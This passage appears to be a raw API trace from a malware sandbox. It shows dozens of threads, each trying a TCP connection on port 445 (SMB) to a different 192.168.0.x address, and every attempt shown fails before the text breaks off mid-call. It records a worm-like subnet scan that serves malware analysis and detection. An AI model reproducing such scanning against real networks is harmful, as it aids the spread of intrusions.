GetCurrentThreadId () returned 0xc98 [0101.058] GetCurrentThreadId () returned 0xc98 [0101.058] GetCurrentThreadId () returned 0xc98 Thread: id = 210 os_tid = 0xc9c [0079.596] GetCurrentThreadId () returned 0xc9c [0079.596] GetCurrentThreadId () returned 0xc9c [0079.596] GetCurrentThreadId () returned 0xc9c [0079.596] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x10e5fdf0 | out: lpWSAData=0x10e5fdf0) returned 0 [0079.596] socket (af=2, type=1, protocol=0) returned 0xdac [0079.596] inet_addr (cp="192.168.0.93") returned 0x5d00a8c0 [0079.596] htons (hostshort=0x1bd) returned 0xbd01 [0079.596] connect (s=0xdac, name=0x10e5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.93"), namelen=16) returned -1 [0101.058] closesocket (s=0xdac) returned 0 [0101.058] WSACleanup () returned 0 [0101.058] GetCurrentThreadId () returned 0xc9c [0101.058] GetCurrentThreadId () returned 0xc9c [0101.058] GetCurrentThreadId () returned 0xc9c Thread: id = 211 os_tid = 0xca0 [0079.644] GetCurrentThreadId () returned 0xca0 [0079.644] GetCurrentThreadId () returned 0xca0 [0079.644] GetCurrentThreadId () returned 0xca0 [0079.644] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x10f9fdf0 | out: lpWSAData=0x10f9fdf0) returned 0 [0079.644] socket (af=2, type=1, protocol=0) returned 0xdbc [0079.644] inet_addr (cp="192.168.0.85") returned 0x5500a8c0 [0079.644] htons (hostshort=0x1bd) returned 0xbd01 [0079.644] connect (s=0xdbc, name=0x10f9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.85"), namelen=16) returned -1 [0101.059] closesocket (s=0xdbc) returned 0 [0101.059] WSACleanup () returned 0 [0101.059] GetCurrentThreadId () returned 0xca0 [0101.059] GetCurrentThreadId () returned 0xca0 [0101.059] GetCurrentThreadId () returned 0xca0 Thread: id = 212 os_tid = 0xca4 [0079.690] GetCurrentThreadId () returned 0xca4 [0079.690] GetCurrentThreadId () returned 0xca4 [0079.690] GetCurrentThreadId () returned 0xca4 [0079.690] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x110dfdf0 | out: lpWSAData=0x110dfdf0) returned 0 [0079.690] socket (af=2, type=1, protocol=0) returned 0xdcc [0079.690] inet_addr (cp="192.168.0.94") returned 0x5e00a8c0 [0079.690] htons (hostshort=0x1bd) returned 0xbd01 [0079.690] connect (s=0xdcc, name=0x110dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.94"), namelen=16) returned -1 [0101.060] closesocket (s=0xdcc) returned 0 [0101.060] WSACleanup () returned 0 [0101.060] GetCurrentThreadId () returned 0xca4 [0101.060] GetCurrentThreadId () returned 0xca4 [0101.060] GetCurrentThreadId () returned 0xca4 Thread: id = 213 os_tid = 0xca8 [0079.736] GetCurrentThreadId () returned 0xca8 [0079.737] GetCurrentThreadId () returned 0xca8 [0079.737] GetCurrentThreadId () returned 0xca8 [0079.737] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1121fdf0 | out: lpWSAData=0x1121fdf0) returned 0 [0079.737] socket (af=2, type=1, protocol=0) returned 0xddc [0079.737] inet_addr (cp="192.168.0.86") returned 0x5600a8c0 [0079.737] htons (hostshort=0x1bd) returned 0xbd01 [0079.737] connect (s=0xddc, name=0x1121fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.86"), namelen=16) returned -1 [0101.061] closesocket (s=0xddc) returned 0 [0101.061] WSACleanup () returned 0 [0101.061] GetCurrentThreadId () returned 0xca8 [0101.061] GetCurrentThreadId () returned 0xca8 [0101.061] GetCurrentThreadId () returned 0xca8 Thread: id = 214 os_tid = 0xcac [0079.783] GetCurrentThreadId () returned 0xcac [0079.783] GetCurrentThreadId () returned 0xcac [0079.783] GetCurrentThreadId () returned 0xcac [0079.783] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1135fdf0 | out: lpWSAData=0x1135fdf0) returned 0 [0079.783] socket (af=2, type=1, protocol=0) returned 0xdec [0079.784] inet_addr (cp="192.168.0.95") returned 0x5f00a8c0 [0079.784] htons (hostshort=0x1bd) returned 0xbd01 [0079.784] connect (s=0xdec, name=0x1135fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.95"), namelen=16) returned -1 [0101.062] closesocket (s=0xdec) returned 0 [0101.062] WSACleanup () returned 0 [0101.062] GetCurrentThreadId () returned 0xcac [0101.062] GetCurrentThreadId () returned 0xcac [0101.062] GetCurrentThreadId () returned 0xcac Thread: id = 215 os_tid = 0xcb0 [0079.831] GetCurrentThreadId () returned 0xcb0 [0079.831] GetCurrentThreadId () returned 0xcb0 [0079.831] GetCurrentThreadId () returned 0xcb0 [0079.831] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1149fdf0 | out: lpWSAData=0x1149fdf0) returned 0 [0079.831] socket (af=2, type=1, protocol=0) returned 0xdfc [0079.831] inet_addr (cp="192.168.0.87") returned 0x5700a8c0 [0079.831] htons (hostshort=0x1bd) returned 0xbd01 [0079.831] connect (s=0xdfc, name=0x1149fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.87"), namelen=16) returned -1 [0101.063] closesocket (s=0xdfc) returned 0 [0101.063] WSACleanup () returned 0 [0101.063] GetCurrentThreadId () returned 0xcb0 [0101.063] GetCurrentThreadId () returned 0xcb0 [0101.063] GetCurrentThreadId () returned 0xcb0 Thread: id = 216 os_tid = 0xcb4 [0079.877] GetCurrentThreadId () returned 0xcb4 [0079.877] GetCurrentThreadId () returned 0xcb4 [0079.877] GetCurrentThreadId () returned 0xcb4 [0079.877] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x115dfdf0 | out: lpWSAData=0x115dfdf0) returned 0 [0079.877] socket (af=2, type=1, protocol=0) returned 0xe0c [0079.877] inet_addr (cp="192.168.0.96") returned 0x6000a8c0 [0079.877] htons (hostshort=0x1bd) returned 0xbd01 [0079.877] connect (s=0xe0c, name=0x115dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.96"), namelen=16) returned -1 [0101.063] closesocket (s=0xe0c) returned 0 [0101.064] WSACleanup () returned 0 [0101.064] GetCurrentThreadId () returned 0xcb4 [0101.064] GetCurrentThreadId () returned 0xcb4 [0101.064] GetCurrentThreadId () returned 0xcb4 Thread: id = 217 os_tid = 0xcb8 [0079.924] GetCurrentThreadId () returned 0xcb8 [0079.924] GetCurrentThreadId () returned 0xcb8 [0079.924] GetCurrentThreadId () returned 0xcb8 [0079.924] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1171fdf0 | out: lpWSAData=0x1171fdf0) returned 0 [0079.924] socket (af=2, type=1, protocol=0) returned 0xe1c [0079.924] inet_addr (cp="192.168.0.88") returned 0x5800a8c0 [0079.924] htons (hostshort=0x1bd) returned 0xbd01 [0079.924] connect (s=0xe1c, name=0x1171fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.88"), namelen=16) returned -1 [0101.064] closesocket (s=0xe1c) returned 0 [0101.064] WSACleanup () returned 0 [0101.064] GetCurrentThreadId () returned 0xcb8 [0101.065] GetCurrentThreadId () returned 0xcb8 [0101.065] GetCurrentThreadId () returned 0xcb8 Thread: id = 218 os_tid = 0xcbc [0079.970] GetCurrentThreadId () returned 0xcbc [0079.970] GetCurrentThreadId () returned 0xcbc [0079.970] GetCurrentThreadId () returned 0xcbc [0079.971] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1185fdf0 | out: lpWSAData=0x1185fdf0) returned 0 [0079.971] socket (af=2, type=1, protocol=0) returned 0xe2c [0079.971] inet_addr (cp="192.168.0.97") returned 0x6100a8c0 [0079.971] htons (hostshort=0x1bd) returned 0xbd01 [0079.971] connect (s=0xe2c, name=0x1185fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.97"), namelen=16) returned -1 [0101.156] closesocket (s=0xe2c) returned 0 [0101.156] WSACleanup () returned 0 [0101.156] GetCurrentThreadId () returned 0xcbc [0101.156] GetCurrentThreadId () returned 0xcbc [0101.156] GetCurrentThreadId () returned 0xcbc Thread: id = 219 os_tid = 0xcc0 [0080.017] GetCurrentThreadId () returned 0xcc0 [0080.017] GetCurrentThreadId () returned 0xcc0 [0080.017] GetCurrentThreadId () returned 0xcc0 [0080.017] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1199fdf0 | out: lpWSAData=0x1199fdf0) returned 0 [0080.017] socket (af=2, type=1, protocol=0) returned 0xe3c [0080.018] inet_addr (cp="192.168.0.89") returned 0x5900a8c0 [0080.018] htons (hostshort=0x1bd) returned 0xbd01 [0080.018] connect (s=0xe3c, name=0x1199fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.89"), namelen=16) returned -1 [0101.157] closesocket (s=0xe3c) returned 0 [0101.157] WSACleanup () returned 0 [0101.157] GetCurrentThreadId () returned 0xcc0 [0101.157] GetCurrentThreadId () returned 0xcc0 [0101.157] GetCurrentThreadId () returned 0xcc0 Thread: id = 220 os_tid = 0xcc4 [0080.127] GetCurrentThreadId () returned 0xcc4 [0080.127] GetCurrentThreadId () returned 0xcc4 [0080.127] GetCurrentThreadId () returned 0xcc4 [0080.127] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x11adfdf0 | out: lpWSAData=0x11adfdf0) returned 0 [0080.127] socket (af=2, type=1, protocol=0) returned 0xe4c [0080.127] inet_addr (cp="192.168.0.98") returned 0x6200a8c0 [0080.127] htons (hostshort=0x1bd) returned 0xbd01 [0080.128] connect (s=0xe4c, name=0x11adfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.98"), namelen=16) returned -1 [0101.453] closesocket (s=0xe4c) returned 0 [0101.453] WSACleanup () returned 0 [0101.453] GetCurrentThreadId () returned 0xcc4 [0101.453] GetCurrentThreadId () returned 0xcc4 [0101.453] GetCurrentThreadId () returned 0xcc4 Thread: id = 221 os_tid = 0xcc8 [0080.220] GetCurrentThreadId () returned 0xcc8 [0080.220] GetCurrentThreadId () returned 0xcc8 [0080.220] GetCurrentThreadId () returned 0xcc8 [0080.220] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x11c1fdf0 | out: lpWSAData=0x11c1fdf0) returned 0 [0080.220] socket (af=2, type=1, protocol=0) returned 0xe60 [0080.223] inet_addr (cp="192.168.0.90") returned 0x5a00a8c0 [0080.223] htons (hostshort=0x1bd) returned 0xbd01 [0080.223] connect (s=0xe60, name=0x11c1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.90"), namelen=16) returned -1 [0101.454] closesocket (s=0xe60) returned 0 [0101.454] WSACleanup () returned 0 [0101.454] GetCurrentThreadId () returned 0xcc8 [0101.454] GetCurrentThreadId () returned 0xcc8 [0101.454] GetCurrentThreadId () returned 0xcc8 Thread: id = 222 os_tid = 0xccc [0080.223] GetCurrentThreadId () returned 0xccc [0080.223] GetCurrentThreadId () returned 0xccc [0080.223] GetCurrentThreadId () returned 0xccc [0080.223] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x11d5fdf0 | out: lpWSAData=0x11d5fdf0) returned 0 [0080.223] socket (af=2, type=1, protocol=0) returned 0xe6c [0080.224] inet_addr (cp="192.168.0.99") returned 0x6300a8c0 [0080.224] htons (hostshort=0x1bd) returned 0xbd01 [0080.224] connect (s=0xe6c, name=0x11d5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.99"), namelen=16) returned -1 [0101.455] closesocket (s=0xe6c) returned 0 [0101.455] WSACleanup () returned 0 [0101.455] GetCurrentThreadId () returned 0xccc [0101.455] GetCurrentThreadId () returned 0xccc [0101.455] GetCurrentThreadId () returned 0xccc Thread: id = 223 os_tid = 0xcd0 [0080.267] GetCurrentThreadId () returned 0xcd0 [0080.267] GetCurrentThreadId () returned 0xcd0 [0080.267] GetCurrentThreadId () returned 0xcd0 [0080.267] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x11e9fdf0 | out: lpWSAData=0x11e9fdf0) returned 0 [0080.267] socket (af=2, type=1, protocol=0) returned 0xe80 [0080.268] inet_addr (cp="192.168.0.91") returned 0x5b00a8c0 [0080.268] htons (hostshort=0x1bd) returned 0xbd01 [0080.268] connect (s=0xe80, name=0x11e9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.91"), namelen=16) returned -1 [0101.456] closesocket (s=0xe80) returned 0 [0101.456] WSACleanup () returned 0 [0101.456] GetCurrentThreadId () returned 0xcd0 [0101.456] GetCurrentThreadId () returned 0xcd0 [0101.456] GetCurrentThreadId () returned 0xcd0 Thread: id = 224 os_tid = 0xcd4 [0080.268] GetCurrentThreadId () returned 0xcd4 [0080.268] GetCurrentThreadId () returned 0xcd4 [0080.268] GetCurrentThreadId () returned 0xcd4 [0080.268] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x11fdfdf0 | out: lpWSAData=0x11fdfdf0) returned 0 [0080.268] socket (af=2, type=1, protocol=0) returned 0xe8c [0080.268] inet_addr (cp="192.168.0.100") returned 0x6400a8c0 [0080.268] htons (hostshort=0x1bd) returned 0xbd01 [0080.268] connect (s=0xe8c, name=0x11fdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.100"), namelen=16) returned -1 [0101.457] closesocket (s=0xe8c) returned 0 [0101.457] WSACleanup () returned 0 [0101.457] GetCurrentThreadId () returned 0xcd4 [0101.457] GetCurrentThreadId () returned 0xcd4 [0101.457] GetCurrentThreadId () returned 0xcd4 Thread: id = 225 os_tid = 0xcd8 [0080.360] GetCurrentThreadId () returned 0xcd8 [0080.360] GetCurrentThreadId () returned 0xcd8 [0080.360] GetCurrentThreadId () returned 0xcd8 [0080.360] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1211fdf0 | out: lpWSAData=0x1211fdf0) returned 0 [0080.361] socket (af=2, type=1, protocol=0) returned 0xea0 [0080.361] inet_addr (cp="192.168.0.92") returned 0x5c00a8c0 [0080.361] htons (hostshort=0x1bd) returned 0xbd01 [0080.361] connect (s=0xea0, name=0x1211fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.92"), namelen=16) returned -1 [0101.546] closesocket (s=0xea0) returned 0 [0101.546] WSACleanup () returned 0 [0101.546] GetCurrentThreadId () returned 0xcd8 [0101.546] GetCurrentThreadId () returned 0xcd8 [0101.546] GetCurrentThreadId () returned 0xcd8 Thread: id = 226 os_tid = 0xcdc [0080.361] GetCurrentThreadId () returned 0xcdc [0080.361] GetCurrentThreadId () returned 0xcdc [0080.361] GetCurrentThreadId () returned 0xcdc [0080.361] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1225fdf0 | out: lpWSAData=0x1225fdf0) returned 0 [0080.361] socket (af=2, type=1, protocol=0) returned 0xeac [0080.362] inet_addr (cp="192.168.0.101") returned 0x6500a8c0 [0080.362] htons (hostshort=0x1bd) returned 0xbd01 [0080.362] connect (s=0xeac, name=0x1225fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.101"), namelen=16) returned -1 [0101.547] closesocket (s=0xeac) returned 0 [0101.547] WSACleanup () returned 0 [0101.547] GetCurrentThreadId () returned 0xcdc [0101.547] GetCurrentThreadId () returned 0xcdc [0101.547] GetCurrentThreadId () returned 0xcdc Thread: id = 227 os_tid = 0xce0 [0080.455] GetCurrentThreadId () returned 0xce0 [0080.455] GetCurrentThreadId () returned 0xce0 [0080.455] GetCurrentThreadId () returned 0xce0 [0080.455] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1239fdf0 | out: lpWSAData=0x1239fdf0) returned 0 [0080.455] socket (af=2, type=1, protocol=0) returned 0xec0 [0080.457] inet_addr (cp="192.168.0.93") returned 0x5d00a8c0 [0080.457] htons (hostshort=0x1bd) returned 0xbd01 [0080.457] connect (s=0xec0, name=0x1239fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.93"), namelen=16) returned -1 [0101.795] closesocket (s=0xec0) returned 0 [0101.795] WSACleanup () returned 0 [0101.795] GetCurrentThreadId () returned 0xce0 [0101.795] GetCurrentThreadId () returned 0xce0 [0101.795] GetCurrentThreadId () returned 0xce0 Thread: id = 228 os_tid = 0xce4 [0080.458] GetCurrentThreadId () returned 0xce4 [0080.458] GetCurrentThreadId () returned 0xce4 [0080.458] GetCurrentThreadId () returned 0xce4 [0080.458] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x124dfdf0 | out: lpWSAData=0x124dfdf0) returned 0 [0080.458] socket (af=2, type=1, protocol=0) returned 0xecc [0080.459] inet_addr (cp="192.168.0.102") returned 0x6600a8c0 [0080.459] htons (hostshort=0x1bd) returned 0xbd01 [0080.459] connect (s=0xecc, name=0x124dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.102"), namelen=16) returned -1 [0101.795] closesocket (s=0xecc) returned 0 [0101.796] WSACleanup () returned 0 [0101.796] GetCurrentThreadId () returned 0xce4 [0101.796] GetCurrentThreadId () returned 0xce4 [0101.796] GetCurrentThreadId () returned 0xce4 Thread: id = 229 os_tid = 0xce8 [0080.548] GetCurrentThreadId () returned 0xce8 [0080.548] GetCurrentThreadId () returned 0xce8 [0080.548] GetCurrentThreadId () returned 0xce8 [0080.548] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1261fdf0 | out: lpWSAData=0x1261fdf0) returned 0 [0080.548] socket (af=2, type=1, protocol=0) returned 0xee0 [0080.549] inet_addr (cp="192.168.0.94") returned 0x5e00a8c0 [0080.549] htons (hostshort=0x1bd) returned 0xbd01 [0080.550] connect (s=0xee0, name=0x1261fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.94"), namelen=16) returned -1 [0101.796] closesocket (s=0xee0) returned 0 [0101.796] WSACleanup () returned 0 [0101.796] GetCurrentThreadId () returned 0xce8 [0101.796] GetCurrentThreadId () returned 0xce8 [0101.796] GetCurrentThreadId () returned 0xce8 Thread: id = 230 os_tid = 0xcec [0080.550] GetCurrentThreadId () returned 0xcec [0080.550] GetCurrentThreadId () returned 0xcec [0080.550] GetCurrentThreadId () returned 0xcec [0080.550] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1275fdf0 | out: lpWSAData=0x1275fdf0) returned 0 [0080.550] socket (af=2, type=1, protocol=0) returned 0xeec [0080.550] inet_addr (cp="192.168.0.103") returned 0x6700a8c0 [0080.550] htons (hostshort=0x1bd) returned 0xbd01 [0080.550] connect (s=0xeec, name=0x1275fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.103"), namelen=16) returned -1 [0101.796] closesocket (s=0xeec) returned 0 [0101.796] WSACleanup () returned 0 [0101.797] GetCurrentThreadId () returned 0xcec [0101.797] GetCurrentThreadId () returned 0xcec [0101.797] GetCurrentThreadId () returned 0xcec Thread: id = 231 os_tid = 0xcf0 [0080.641] GetCurrentThreadId () returned 0xcf0 [0080.641] GetCurrentThreadId () returned 0xcf0 [0080.641] GetCurrentThreadId () returned 0xcf0 [0080.641] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1289fdf0 | out: lpWSAData=0x1289fdf0) returned 0 [0080.641] socket (af=2, type=1, protocol=0) returned 0xf00 [0080.642] inet_addr (cp="192.168.0.95") returned 0x5f00a8c0 [0080.642] htons (hostshort=0x1bd) returned 0xbd01 [0080.642] connect (s=0xf00, name=0x1289fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.95"), namelen=16) returned -1 [0101.797] closesocket (s=0xf00) returned 0 [0101.797] WSACleanup () returned 0 [0101.797] GetCurrentThreadId () returned 0xcf0 [0101.797] GetCurrentThreadId () returned 0xcf0 [0101.797] GetCurrentThreadId () returned 0xcf0 Thread: id = 232 os_tid = 0xcf4 [0080.642] GetCurrentThreadId () returned 0xcf4 [0080.642] GetCurrentThreadId () returned 0xcf4 [0080.642] GetCurrentThreadId () returned 0xcf4 [0080.642] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x129dfdf0 | out: lpWSAData=0x129dfdf0) returned 0 [0080.642] socket (af=2, type=1, protocol=0) returned 0xf0c [0080.642] inet_addr (cp="192.168.0.104") returned 0x6800a8c0 [0080.642] htons (hostshort=0x1bd) returned 0xbd01 [0080.643] connect (s=0xf0c, name=0x129dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.104"), namelen=16) returned -1 [0101.797] closesocket (s=0xf0c) returned 0 [0101.797] WSACleanup () returned 0 [0101.797] GetCurrentThreadId () returned 0xcf4 [0101.797] GetCurrentThreadId () returned 0xcf4 [0101.798] GetCurrentThreadId () returned 0xcf4 Thread: id = 233 os_tid = 0xcf8 [0080.735] GetCurrentThreadId () returned 0xcf8 [0080.735] GetCurrentThreadId () returned 0xcf8 [0080.735] GetCurrentThreadId () returned 0xcf8 [0080.735] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x12b1fdf0 | out: lpWSAData=0x12b1fdf0) returned 0 [0080.735] socket (af=2, type=1, protocol=0) returned 0xf20 [0080.735] inet_addr (cp="192.168.0.96") returned 0x6000a8c0 [0080.735] htons (hostshort=0x1bd) returned 0xbd01 [0080.736] connect (s=0xf20, name=0x12b1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.96"), namelen=16) returned -1 [0102.154] closesocket (s=0xf20) returned 0 [0102.154] WSACleanup () returned 0 [0102.154] GetCurrentThreadId () returned 0xcf8 [0102.154] GetCurrentThreadId () returned 0xcf8 [0102.154] GetCurrentThreadId () returned 0xcf8 Thread: id = 234 os_tid = 0xcfc [0080.753] GetCurrentThreadId () returned 0xcfc [0080.753] GetCurrentThreadId () returned 0xcfc [0080.753] GetCurrentThreadId () returned 0xcfc [0080.753] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x12c5fdf0 | out: lpWSAData=0x12c5fdf0) returned 0 [0080.753] socket (af=2, type=1, protocol=0) returned 0xf2c [0080.753] inet_addr (cp="192.168.0.105") returned 0x6900a8c0 [0080.753] htons (hostshort=0x1bd) returned 0xbd01 [0080.753] connect (s=0xf2c, name=0x12c5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.105"), namelen=16) returned -1 [0102.155] closesocket (s=0xf2c) returned 0 [0102.155] WSACleanup () returned 0 [0102.155] GetCurrentThreadId () returned 0xcfc [0102.155] GetCurrentThreadId () returned 0xcfc [0102.155] GetCurrentThreadId () returned 0xcfc Thread: id = 235 os_tid = 0xd00 [0080.845] GetCurrentThreadId () returned 0xd00 [0080.845] GetCurrentThreadId () returned 0xd00 [0080.845] GetCurrentThreadId () returned 0xd00 [0080.845] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x12d9fdf0 | out: lpWSAData=0x12d9fdf0) returned 0 [0080.845] socket (af=2, type=1, protocol=0) returned 0xf40 [0080.846] inet_addr (cp="192.168.0.97") returned 0x6100a8c0 [0080.846] htons (hostshort=0x1bd) returned 0xbd01 [0080.846] connect (s=0xf40, name=0x12d9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.97"), namelen=16) returned -1 [0102.156] closesocket (s=0xf40) returned 0 [0102.156] WSACleanup () returned 0 [0102.156] GetCurrentThreadId () returned 0xd00 [0102.156] GetCurrentThreadId () returned 0xd00 [0102.156] GetCurrentThreadId () returned 0xd00 Thread: id = 236 os_tid = 0xd04 [0080.846] GetCurrentThreadId () returned 0xd04 [0080.846] GetCurrentThreadId () returned 0xd04 [0080.846] GetCurrentThreadId () returned 0xd04 [0080.846] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x12edfdf0 | out: lpWSAData=0x12edfdf0) returned 0 [0080.846] socket (af=2, type=1, protocol=0) returned 0xf4c [0080.846] inet_addr (cp="192.168.0.106") returned 0x6a00a8c0 [0080.847] htons (hostshort=0x1bd) returned 0xbd01 [0080.847] connect (s=0xf4c, name=0x12edfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.106"), namelen=16) returned -1 [0102.157] closesocket (s=0xf4c) returned 0 [0102.157] WSACleanup () returned 0 [0102.157] GetCurrentThreadId () returned 0xd04 [0102.157] GetCurrentThreadId () returned 0xd04 [0102.157] GetCurrentThreadId () returned 0xd04 Thread: id = 237 os_tid = 0xd08 [0080.938] GetCurrentThreadId () returned 0xd08 [0080.938] GetCurrentThreadId () returned 0xd08 [0080.938] GetCurrentThreadId () returned 0xd08 [0080.938] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1301fdf0 | out: lpWSAData=0x1301fdf0) returned 0 [0080.938] socket (af=2, type=1, protocol=0) returned 0xf5c [0080.938] inet_addr (cp="192.168.0.98") returned 0x6200a8c0 [0080.938] htons (hostshort=0x1bd) returned 0xbd01 [0080.938] connect (s=0xf5c, name=0x1301fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.98"), namelen=16) returned -1 [0102.158] closesocket (s=0xf5c) returned 0 [0102.158] WSACleanup () returned 0 [0102.158] GetCurrentThreadId () returned 0xd08 [0102.158] GetCurrentThreadId () returned 0xd08 [0102.158] GetCurrentThreadId () returned 0xd08 Thread: id = 238 os_tid = 0xd0c [0080.939] GetCurrentThreadId () returned 0xd0c [0080.939] GetCurrentThreadId () returned 0xd0c [0080.939] GetCurrentThreadId () returned 0xd0c [0080.939] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1315fdf0 | out: lpWSAData=0x1315fdf0) returned 0 [0080.939] socket (af=2, type=1, protocol=0) returned 0xf68 [0080.939] inet_addr (cp="192.168.0.107") returned 0x6b00a8c0 [0080.939] htons (hostshort=0x1bd) returned 0xbd01 [0080.939] connect (s=0xf68, name=0x1315fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.107"), namelen=16) returned -1 [0102.158] closesocket (s=0xf68) returned 0 [0102.159] WSACleanup () returned 0 [0102.159] GetCurrentThreadId () returned 0xd0c [0102.159] GetCurrentThreadId () returned 0xd0c [0102.159] GetCurrentThreadId () returned 0xd0c Thread: id = 239 os_tid = 0xd10 [0080.984] GetCurrentThreadId () returned 0xd10 [0080.984] GetCurrentThreadId () returned 0xd10 [0080.984] GetCurrentThreadId () returned 0xd10 [0080.985] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1329fdf0 | out: lpWSAData=0x1329fdf0) returned 0 [0080.985] socket (af=2, type=1, protocol=0) returned 0xf78 [0080.985] inet_addr (cp="192.168.0.99") returned 0x6300a8c0 [0080.985] htons (hostshort=0x1bd) returned 0xbd01 [0080.985] connect (s=0xf78, name=0x1329fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.99"), namelen=16) returned -1 [0102.159] closesocket (s=0xf78) returned 0 [0102.159] WSACleanup () returned 0 [0102.160] GetCurrentThreadId () returned 0xd10 [0102.160] GetCurrentThreadId () returned 0xd10 [0102.160] GetCurrentThreadId () returned 0xd10 Thread: id = 240 os_tid = 0xd14 [0081.031] GetCurrentThreadId () returned 0xd14 [0081.031] GetCurrentThreadId () returned 0xd14 [0081.031] GetCurrentThreadId () returned 0xd14 [0081.031] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x133dfdf0 | out: lpWSAData=0x133dfdf0) returned 0 [0081.031] socket (af=2, type=1, protocol=0) returned 0xf88 [0081.032] inet_addr (cp="192.168.0.108") returned 0x6c00a8c0 [0081.032] htons (hostshort=0x1bd) returned 0xbd01 [0081.032] connect (s=0xf88, name=0x133dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.108"), namelen=16) returned -1 [0102.160] closesocket (s=0xf88) returned 0 [0102.160] WSACleanup () returned 0 [0102.160] GetCurrentThreadId () returned 0xd14 [0102.160] GetCurrentThreadId () returned 0xd14 [0102.160] GetCurrentThreadId () returned 0xd14 Thread: id = 241 os_tid = 0xd18 [0081.094] GetCurrentThreadId () returned 0xd18 [0081.094] GetCurrentThreadId () returned 0xd18 [0081.094] GetCurrentThreadId () returned 0xd18 [0081.094] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1351fdf0 | out: lpWSAData=0x1351fdf0) returned 0 [0081.094] socket (af=2, type=1, protocol=0) returned 0xf98 [0081.094] inet_addr (cp="192.168.0.100") returned 0x6400a8c0 [0081.094] htons (hostshort=0x1bd) returned 0xbd01 [0081.094] connect (s=0xf98, name=0x1351fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.100"), namelen=16) returned -1 [0102.264] closesocket (s=0xf98) returned 0 [0102.264] WSACleanup () returned 0 [0102.264] GetCurrentThreadId () returned 0xd18 [0102.264] GetCurrentThreadId () returned 0xd18 [0102.264] GetCurrentThreadId () returned 0xd18 Thread: id = 242 os_tid = 0xd1c [0081.140] GetCurrentThreadId () returned 0xd1c [0081.140] GetCurrentThreadId () returned 0xd1c [0081.141] GetCurrentThreadId () returned 0xd1c [0081.141] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1365fdf0 | out: lpWSAData=0x1365fdf0) returned 0 [0081.141] socket (af=2, type=1, protocol=0) returned 0xfac [0081.141] inet_addr (cp="192.168.0.109") returned 0x6d00a8c0 [0081.141] htons (hostshort=0x1bd) returned 0xbd01 [0081.141] connect (s=0xfac, name=0x1365fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.109"), namelen=16) returned -1 [0102.265] closesocket (s=0xfac) returned 0 [0102.265] WSACleanup () returned 0 [0102.265] GetCurrentThreadId () returned 0xd1c [0102.265] GetCurrentThreadId () returned 0xd1c [0102.265] GetCurrentThreadId () returned 0xd1c Thread: id = 243 os_tid = 0xd20 [0081.142] GetCurrentThreadId () returned 0xd20 [0081.142] GetCurrentThreadId () returned 0xd20 [0081.142] GetCurrentThreadId () returned 0xd20 [0081.142] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1379fdf0 | out: 